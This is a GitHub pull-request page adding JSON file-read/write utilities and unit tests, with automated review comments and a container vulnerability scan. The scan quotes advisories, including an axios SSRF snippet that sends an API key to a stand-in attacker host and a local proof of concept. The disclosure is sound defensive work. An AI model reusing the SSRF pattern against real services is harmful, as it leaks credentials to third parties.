Skip to content

Add file utility functions with unit tests #48

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 6 commits into from
Jun 7, 2025

Conversation

anatolyshipitz
Copy link
Collaborator

  • Introduced fileUtils.ts containing readJsonFile and writeJsonFile functions for reading and writing JSON files, respectively.
  • Implemented error handling using FileUtilsError for invalid paths and file operation failures.
  • Created fileUtils.test.ts to validate the functionality of the file utility functions, ensuring proper error handling and file operations.

These additions enhance file management capabilities and improve test coverage for file-related operations.

- Introduced `fileUtils.ts` containing `readJsonFile` and `writeJsonFile` functions for reading and writing JSON files, respectively.
- Implemented error handling using `FileUtilsError` for invalid paths and file operation failures.
- Created `fileUtils.test.ts` to validate the functionality of the file utility functions, ensuring proper error handling and file operations.

These additions enhance file management capabilities and improve test coverage for file-related operations.
@anatolyshipitz anatolyshipitz requested a review from killev as a code owner June 5, 2025 16:41
@anatolyshipitz anatolyshipitz self-assigned this Jun 5, 2025
Copy link

coderabbitai bot commented Jun 5, 2025

📝 Walkthrough

"""

Walkthrough

A new utility module for JSON file operations was added, providing asynchronous functions to read and write JSON files with robust error handling via a custom error class. Comprehensive unit tests were introduced to validate these functions, covering both success and failure scenarios using mocked filesystem operations.

Changes

File(s) Change Summary
workers/main/src/common/fileUtils.ts New module with readJsonFile and writeJsonFile async functions for JSON file operations and error class.
workers/main/src/common/fileUtils.test.ts New Vitest-based test suite for the above file, mocking fs.promises and covering various edge cases.

Sequence Diagram(s)

sequenceDiagram
    participant Caller
    participant fileUtils
    participant fs
    participant path

    Caller->>fileUtils: readJsonFile(filePath)
    fileUtils->>fs: readFile(filePath, 'utf-8')
    fs-->>fileUtils: fileContent
    fileUtils->>fileUtils: JSON.parse(fileContent)
    fileUtils-->>Caller: parsedObject

    Caller->>fileUtils: writeJsonFile(filePath, data)
    fileUtils->>path: dirname(filePath)
    fileUtils->>fs: mkdir(dir, { recursive: true })
    fileUtils->>fs: writeFile(filePath, JSON.stringify(data, null, 2))
    fileUtils-->>Caller: (void)
Loading

Possibly related PRs

Suggested reviewers

  • killev
    """
✨ Finishing Touches
  • 📝 Generate Docstrings

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share
🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

  • Review comments: Directly reply to a review comment made by CodeRabbit. Example:
    • I pushed a fix in commit <commit_id>, please review it.
    • Explain this complex logic.
    • Open a follow-up GitHub issue for this discussion.
  • Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
    • @coderabbitai explain this code block.
    • @coderabbitai modularize this function.
  • PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
    • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
    • @coderabbitai read src/utils.ts and explain its main purpose.
    • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
    • @coderabbitai help me debug CodeRabbit configuration file.

Support

Need help? Create a ticket on our support page for assistance with any issues or questions.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

  • @coderabbitai pause to pause the reviews on a PR.
  • @coderabbitai resume to resume the paused reviews.
  • @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
  • @coderabbitai full review to do a full review from scratch and review all the files again.
  • @coderabbitai summary to regenerate the summary of the PR.
  • @coderabbitai generate docstrings to generate docstrings for this PR.
  • @coderabbitai generate sequence diagram to generate a sequence diagram of the changes in this PR.
  • @coderabbitai resolve resolve all the CodeRabbit review comments.
  • @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
  • @coderabbitai help to get help.

Other keywords and placeholders

  • Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
  • Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
  • Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (.coderabbit.yaml)

  • You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
  • Please see the configuration documentation for more information.
  • If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

  • Visit our Documentation for detailed information on how to use CodeRabbit.
  • Join our Discord Community to get help, request features, and share feedback.
  • Follow us on X/Twitter for updates and announcements.

@anatolyshipitz anatolyshipitz enabled auto-merge (squash) June 5, 2025 16:41
Copy link

github-actions bot commented Jun 5, 2025

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest
digestsha256:773391c4310bd825f0daf6a2015fa8b33014b1bcf21bdd4e2db36070d92a9b15
vulnerabilitiescritical: 2 high: 6 medium: 0 low: 0
platformlinux/amd64
size243 MB
packages1628
📦 Base Image node:20-alpine
also known as
  • 20-alpine3.21
  • 20.19-alpine
  • 20.19-alpine3.21
  • 20.19.0-alpine
  • 20.19.0-alpine3.21
  • iron-alpine
  • iron-alpine3.21
digestsha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilitiescritical: 0 high: 1 medium: 0 low: 0
critical: 1 high: 0 medium: 0 low: 0 samlify 2.9.0 (npm)

pkg:npm/[email protected]

critical 9.9: CVE--2025--47949 Improper Verification of Cryptographic Signature

Affected range<2.10.0
Fixed version2.10.0
CVSS Score9.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
EPSS Score0.023%
EPSS Percentile5th percentile
Description

A Signature Wrapping attack has been found in samlify <v2.10.0, allowing an attacker to forge a SAML Response to authenticate as any user.
An attacker would need a signed XML document by the identity provider.

critical: 1 high: 0 medium: 0 low: 0 stdlib 1.24.0 (golang)

pkg:golang/[email protected]

critical : CVE--2025--22871

Affected range>=1.24.0-0
<1.24.2
Fixed version1.24.2
EPSS Score0.018%
EPSS Percentile3rd percentile
Description

The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

critical: 0 high: 1 medium: 0 low: 0 axios 1.7.4 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2025--27152 Server-Side Request Forgery (SSRF)

Affected range>=1.0.0
<1.8.2
Fixed version1.8.2
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.021%
EPSS Percentile4th percentile
Description

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
critical: 0 high: 1 medium: 0 low: 0 semver 5.3.0 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2022--25883 Inefficient Regular Expression Complexity

Affected range<5.7.2
Fixed version5.7.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.308%
EPSS Percentile53rd percentile
Description

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

critical: 0 high: 1 medium: 0 low: 0 tar-fs 2.1.2 (npm)

pkg:npm/[email protected]

high 8.7: CVE--2025--48387 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range>=2.0.0
<2.1.3
Fixed version2.1.3
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.063%
EPSS Percentile20th percentile
Description

Impact

v3.0.8, v2.1.2, v1.16.4 and below

Patches

Has been patched in 3.0.9, 2.1.3, and 1.16.5

Workarounds

You can use the ignore option to ignore non files/directories.

  ignore (_, header) {
    // pass files & directories, ignore e.g. symlinks
    return header.type !== 'file' && header.type !== 'directory'
  }

Credit

Thank you Caleb Brown from Google Open Source Security Team for reporting this in detail.

critical: 0 high: 1 medium: 0 low: 0 cross-spawn 7.0.3 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2024--21538 Inefficient Regular Expression Complexity

Affected range>=7.0.0
<7.0.5
Fixed version7.0.5
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.151%
EPSS Percentile37th percentile
Description

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

critical: 0 high: 1 medium: 0 low: 0 pdfjs-dist 2.16.105 (npm)

pkg:npm/[email protected]

high 8.8: CVE--2024--4367 Improper Check for Unusual or Exceptional Conditions

Affected range<=4.1.392
Fixed version4.2.67
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score14.112%
EPSS Percentile94th percentile
Description

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

critical: 0 high: 1 medium: 0 low: 0 multer 1.4.5-lts.2 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2025--47935 Missing Release of Memory after Effective Lifetime

Affected range<2.0.0
Fixed version2.0.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.049%
EPSS Percentile15th percentile
Description

Impact

Multer <2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal busboy stream is not closed, violating Node.js stream safety guidance.

This leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted.

Patches

Users should upgrade to 2.0.0

Workarounds

None

References

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

🧹 Nitpick comments (4)
workers/main/src/common/fileUtils.test.ts (4)

1-7: Consider improving mock type safety.

The mock setup works correctly but could benefit from better TypeScript support.

Consider using a more type-safe mock approach:

-vi.mock('fs', () => ({
-  promises: {
-    readFile: vi.fn(),
-    writeFile: vi.fn(),
-    mkdir: vi.fn(),
-  },
-}));
+vi.mock('fs', () => ({
+  promises: {
+    readFile: vi.fn<typeof import('fs').promises.readFile>(),
+    writeFile: vi.fn<typeof import('fs').promises.writeFile>(),
+    mkdir: vi.fn<typeof import('fs').promises.mkdir>(),
+  },
+}));

21-23: Simplify mock cleanup.

The vi.restoreAllMocks() in afterEach is redundant since vi.clearAllMocks() in beforeEach is sufficient for this use case.

Apply this diff to remove redundant cleanup:

-  afterEach(() => {
-    vi.restoreAllMocks();
-  });

25-51: Enhance test coverage with additional edge cases.

The current tests cover the main scenarios well, but consider adding tests for:

  1. Whitespace-only file paths
  2. Non-string file paths (null, undefined, numbers)
  3. Specific error message validation

Consider adding these additional test cases:

+    test('throws FileUtilsError for whitespace-only path', async () => {
+      await expect(readJsonFile('   ')).rejects.toBeInstanceOf(FileUtilsError);
+    });
+
+    test('throws FileUtilsError for non-string path', async () => {
+      // @ts-expect-error Testing runtime behavior
+      await expect(readJsonFile(null)).rejects.toBeInstanceOf(FileUtilsError);
+      // @ts-expect-error Testing runtime behavior
+      await expect(readJsonFile(123)).rejects.toBeInstanceOf(FileUtilsError);
+    });
+
+    test('throws FileUtilsError with specific message for invalid JSON', async () => {
+      vi.mocked(fs.readFile).mockResolvedValueOnce('not-json');
+      await expect(readJsonFile('bad.json')).rejects.toThrow(
+        'Failed to read or parse JSON file at "bad.json"'
+      );
+    });

53-91: Add test for non-serializable data.

The tests thoroughly cover file system operations but miss testing data that cannot be JSON serialized.

Consider adding a test for circular references or other non-serializable data:

+    test('throws FileUtilsError for non-serializable data', async () => {
+      const circularData: any = { a: 1 };
+      circularData.self = circularData; // Create circular reference
+      
+      await expect(writeJsonFile('test.json', circularData)).rejects.toBeInstanceOf(
+        FileUtilsError,
+      );
+    });
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 1750080 and cd8bdd1.

📒 Files selected for processing (2)
  • workers/main/src/common/fileUtils.test.ts (1 hunks)
  • workers/main/src/common/fileUtils.ts (1 hunks)
🧰 Additional context used
🧬 Code Graph Analysis (2)
workers/main/src/common/fileUtils.ts (1)
workers/main/src/common/errors/FileUtilsError.ts (1)
  • FileUtilsError (3-7)
workers/main/src/common/fileUtils.test.ts (2)
workers/main/src/common/fileUtils.ts (2)
  • readJsonFile (6-19)
  • writeJsonFile (21-36)
workers/main/src/common/errors/FileUtilsError.ts (1)
  • FileUtilsError (3-7)
⏰ Context from checks skipped due to timeout of 90000ms (4)
  • GitHub Check: Docker Security Scanning (temporal, Dockerfile.temporal, temporal-test:latest)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Analyze (javascript-typescript)
  • GitHub Check: Service Availability Check

- Removed redundant checks for invalid file paths in `readJsonFile` and `writeJsonFile` functions in `fileUtils.ts`.
- Deleted corresponding unit tests for invalid path scenarios in `fileUtils.test.ts`, streamlining error handling.
- This refactor simplifies the codebase and focuses on handling errors during file operations rather than validating input paths.
- Updated the `readJsonFile` function to store the parsed JSON content in a variable before returning, improving readability.
- Simplified the `writeJsonFile` function by using a variable for the JSON string content, enhancing code clarity.

These changes streamline the file utility functions, making them easier to maintain and understand.
coderabbitai[bot]
coderabbitai bot previously approved these changes Jun 5, 2025
- Deleted the `fetchFinancialData.ts` file as it was no longer needed.
- Introduced `getProjectUnits.ts` to fetch project units and return a
file link for the weekly financial reports.
- Updated the `weeklyFinancialReports` workflow to utilize the new
`getProjectUnits` function.
- Added unit tests for the new workflow to ensure proper functionality.
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🧹 Nitpick comments (2)
workers/main/src/activities/weeklyFinancialReports/getTargetUnits.test.ts (2)

19-31: Simplify mock interfaces.

The custom mock interfaces add unnecessary complexity. Vitest's built-in mocking capabilities can handle this more simply.

Consider using Vitest's native mock types instead:

-interface TargetUnitRepositoryMock {
-  mockClear: () => void;
-  mockImplementation: (
-    impl: () => { getTargetUnits: () => Promise<TargetUnit[]> },
-  ) => void;
-}
-
-interface RedminePoolMock {
-  mockClear: () => void;
-  mockImplementation: (
-    impl: () => { getPool: () => string; endPool: () => void },
-  ) => void;
-}

You can use vi.mocked() directly without custom interfaces.


48-59: Consider simplifying the repository mock setup.

The vi.importMock approach adds complexity. You can use simpler mocking patterns.

-async function setupTargetUnitRepositoryMock(): Promise<TargetUnitRepositoryMock> {
-  const imported = await vi.importMock(
-    '../../services/TargetUnit/TargetUnitRepository',
-  );
-  const repo = vi.mocked(
-    imported.TargetUnitRepository,
-  ) as TargetUnitRepositoryMock;
-
-  repo.mockClear();
-
-  return repo;
-}

Consider using the mocked constructor directly in your tests.

📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between fcd8826 and 6b86a64.

📒 Files selected for processing (9)
  • workers/main/src/activities/fetchFinancialData.ts (0 hunks)
  • workers/main/src/activities/index.ts (1 hunks)
  • workers/main/src/activities/weeklyFinancialReports/getTargetUnits.test.ts (1 hunks)
  • workers/main/src/activities/weeklyFinancialReports/getTargetUnits.ts (1 hunks)
  • workers/main/src/activities/weeklyFinancialReports/index.ts (1 hunks)
  • workers/main/src/workflows/weeklyFinancialReports/index.test.ts (0 hunks)
  • workers/main/src/workflows/weeklyFinancialReports/index.ts (1 hunks)
  • workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.test.ts (1 hunks)
  • workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.ts (1 hunks)
💤 Files with no reviewable changes (2)
  • workers/main/src/workflows/weeklyFinancialReports/index.test.ts
  • workers/main/src/activities/fetchFinancialData.ts
✅ Files skipped from review due to trivial changes (3)
  • workers/main/src/activities/index.ts
  • workers/main/src/activities/weeklyFinancialReports/index.ts
  • workers/main/src/workflows/weeklyFinancialReports/index.ts
🧰 Additional context used
🧬 Code Graph Analysis (3)
workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.ts (1)
workers/main/src/activities/weeklyFinancialReports/getTargetUnits.ts (1)
  • getTargetUnits (11-31)
workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.test.ts (1)
workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.ts (1)
  • weeklyFinancialReportsWorkflow (9-13)
workers/main/src/activities/weeklyFinancialReports/getTargetUnits.ts (5)
workers/main/src/common/RedminePool.ts (1)
  • RedminePool (4-46)
workers/main/src/configs/redmineDatabase.ts (1)
  • redmineDatabaseConfig (3-8)
workers/main/src/services/TargetUnit/TargetUnitRepository.ts (1)
  • TargetUnitRepository (9-52)
workers/main/src/common/fileUtils.ts (1)
  • writeJsonFile (19-32)
workers/main/src/common/errors/AppError.ts (1)
  • AppError (1-9)
⏰ Context from checks skipped due to timeout of 90000ms (4)
  • GitHub Check: Docker Security Scanning (temporal, Dockerfile.temporal, temporal-test:latest)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check
  • GitHub Check: Analyze (javascript-typescript)
🔇 Additional comments (7)
workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.ts (2)

5-7: LGTM! Proper activity configuration.

The activity proxy configuration with a 10-minute timeout is appropriate for database operations and file I/O.


9-13: LGTM! Clean workflow implementation.

The workflow correctly calls the activity and returns the expected fileLink. The implementation follows Temporal best practices by keeping the workflow logic simple and delegating the heavy lifting to activities.

workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.test.ts (2)

5-11: LGTM! Proper workflow testing approach.

The mock correctly stubs the proxyActivities function and returns a realistic fileLink value for testing.


13-19: LGTM! Comprehensive workflow test.

The test verifies that the workflow correctly returns the fileLink from the activity result, which covers the core workflow logic.

workers/main/src/activities/weeklyFinancialReports/getTargetUnits.ts (2)

11-13: LGTM! Proper resource initialization.

The RedminePool is correctly initialized with the database configuration.


24-31: LGTM! Excellent error handling and resource cleanup.

The error handling properly wraps exceptions in a descriptive AppError, and the finally block ensures the database pool is always closed, preventing resource leaks.

workers/main/src/activities/weeklyFinancialReports/getTargetUnits.test.ts (1)

115-147: LGTM! Excellent test coverage.

The test cases comprehensively cover:

  • Success scenario with proper file writing
  • Error handling for repository failures
  • Error handling for file writing failures
  • Resource cleanup verification

The tests ensure the activity behaves correctly in all scenarios.

Copy link

sonarqubecloud bot commented Jun 7, 2025

@anatolyshipitz anatolyshipitz merged commit ee7daf5 into main Jun 7, 2025
11 of 12 checks passed
@anatolyshipitz anatolyshipitz deleted the feature/file-utils branch June 7, 2025 17:01
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants